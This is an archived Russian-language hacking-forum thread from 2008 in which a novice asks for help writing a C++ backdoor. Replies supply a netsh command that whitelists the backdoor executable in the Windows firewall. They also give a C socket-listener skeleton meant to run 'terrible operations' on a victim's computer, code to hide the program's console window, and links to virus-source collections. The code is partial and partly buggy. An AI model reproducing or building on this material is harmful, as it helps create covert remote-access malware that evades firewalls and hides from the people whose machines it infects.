Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   backdoor на c++ (https://forum.antichat.xyz/showthread.php?t=93013)

ZET36 22.11.2008 18:45

backdoor на c++
 
Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.

В общем, хочу попробывать написать свой backdoor.
Хотелось бы примеров самых елементарных
Клиент-сервер приложений.
Если есть исходники бэкдуров на C++ то тоже выложите.

Буду благодарен за любую помощь

nerezus 22.11.2008 18:47

Купи книжку по операционным системам с уклоном на программирование.

xismyname 22.11.2008 22:04

Цитата:

Сообщение от ZET36
Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.

В общем, хочу попробывать написать свой backdoor.
Хотелось бы примеров самых елементарных
Клиент-сервер приложений.
Если есть исходники бэкдуров на C++ то тоже выложите.

Буду благодарен за любую помощь

Написание клиент-сервер самое легкое.

Если хочешь написать хороший backdoor тебе придеться обойти firewall это уже довольно трудно,конечно если речь не идет о виндовс firewall-е =)
Его можна обойти вот таким вот способом :

Код:

netsh firewall add allowedprogram program="C:\PUT_BACKDOORU.EXE" scope=ALL  name=Name_of_Backdoor_in_firewall_allowedprogram_list
Если пишеш на C или C++ то передай примерно такую строку функции system() и считай что ты общел виндовс firewall =)

ртуть 23.11.2008 00:50

куча доров на С++ на vx.netlux.org

ZET36 23.11.2008 00:58

Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html

но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

http://s1.ipicture.ru/uploads/081122/qVeamdhh5H.png

Jes 23.11.2008 01:03

Цитата:

Сообщение от ZET36
Если есть исходники бэкдуров на C++ то тоже выложите.

https://forum.antichat.ru/thread55225.html

http://forum.antichat.ru/thread19146.html

-----------------
имхо, крайне тупая и бесполезная тема

criz 23.11.2008 01:07

error 10061: Подключение не установлено, т.к. конечный компьютер отверг запрос на подключение.

xismyname 23.11.2008 14:54

Цитата:

Сообщение от ZET36
Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html

но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

http://s1.ipicture.ru/uploads/081122/qVeamdhh5H.png

Привет.
Я вот никак не понимаю почему ты пишеш троянь с GUI ???
Скачай себе компилятор LCC-WIN32 - самый лучший вариант для написание бекдора,т.к. программы получаються довольно маленькими + не приходиться добавлять разные библиотеки как это делаеться в VC++.

Создай консольную программу,закинь туда такой код :
Код:

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#define PORT 22222

int main(void)
{
        struct sockaddr_in addr; // структуа где будет храниться наш локальный адрес
        WSADATA wsd; // тут будет храниться информации о загруженном сокете
        SOCKET ls,rs; // два сокет,один для принятии подключении другой для коммуникации с клиентом
        char r_buf[1024],s_buf[1024]; // заниаем в памяти место с размером два килобайта.
        int r_buflen;

        if(WSAStartup(MAKEWORD(2,2),&wsd) == 0) // Загружаем виндовс сокет
        {
                // заполняем структуру для локального адреса 
                addr.sin_addr.s_addr = htonl(INADDR_ANY); //
                addr.sin_port        = htons(PORT);      // Переводим константу INADDR_ANY и PORT внутренний формат
                addr.sin_family      = AF_INET;
                ls                  = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  // создаем сокет,протокол TCP

                if(bind(ls,(SOCKADDR*)&addr,sizeof(addr)) == -1) // соединяем локальный адрес с сокет
                {
                        puts("Error : bind()");
                }
                if(listen(ls,3) != -1) // посылаем сигнал kernel-у, что мы готовы принимать соединения
                {
                        rs = accept(ls,NULL,NULL); // а тут принимаем соединение

                        if(rs != -1)
                        {
                                r_buflen = recv(rs,r_buf,strlen(r_buf),0); // после принимаем данный от удаленного хоста

                                if(r_buflen != -1 && r_buflen != 0)
                                {

                                        /* ТУТ ПРОВОДИМ СВОИ УЖАСНЫЕ ОПЕРАЦИИ НА УДАЛЛЕНОМ КОМПЕ  =D */
                                        /* И ПОСЫЛАЕМ РЕЗУЛЬТАТ КЛИЕНТУ,Т.Е. НА ТВОИ КОМП */
                                        send(rs,s_buf,strlen(s_buf),0);
                                }
                        }
                }
                else
                {
                        puts("Error : listen()");
                }
        }
        else
        {
                puts("Error : WSAStartup()");
        }
        return 0;
}

После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так :

Код:

char h_name[128];
HWND h;

GetModuleFileNameA(NULL,h_name,strlen(h_name));
h = FindWindowA(NULL,h_name);

Только если эту прогу запустишь с помощью компилятора то окно не исчезнет,зайди в папку где ты сохранил прогу и запусти ее нормальнын способом.

ZET36 23.11.2008 16:00

xismyname спасибо, правда гуглил, все ссылки битые. На офф сайте тоже нету http://www.cs.virginia.edu/~lcc-win32/lccwin32.exe .Можеш выложит пожайлусто?

0x0c0de 23.11.2008 16:06

>> + не приходиться добавлять разные библиотеки как это делаеться в VC++.

хм почему-то я компилю как раз-таки в Visual Studio, там элементарно параметры проекта поменять и либ не будет лишних прилинковываться. конечно, если по дефолту все оставлять, то будете тащить либы с собой. и вообще там можно очень маленькие приложения создавать, если уметь настраивать. а так, конечно, просто сказать, что студия гавно

>> После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так

а я просто в настройках проекта подсистему меняла с CONSOLE на GUI (в студии, которыю вы неуместно пинаете). все лишний гимор себе создаете


Время: 06:46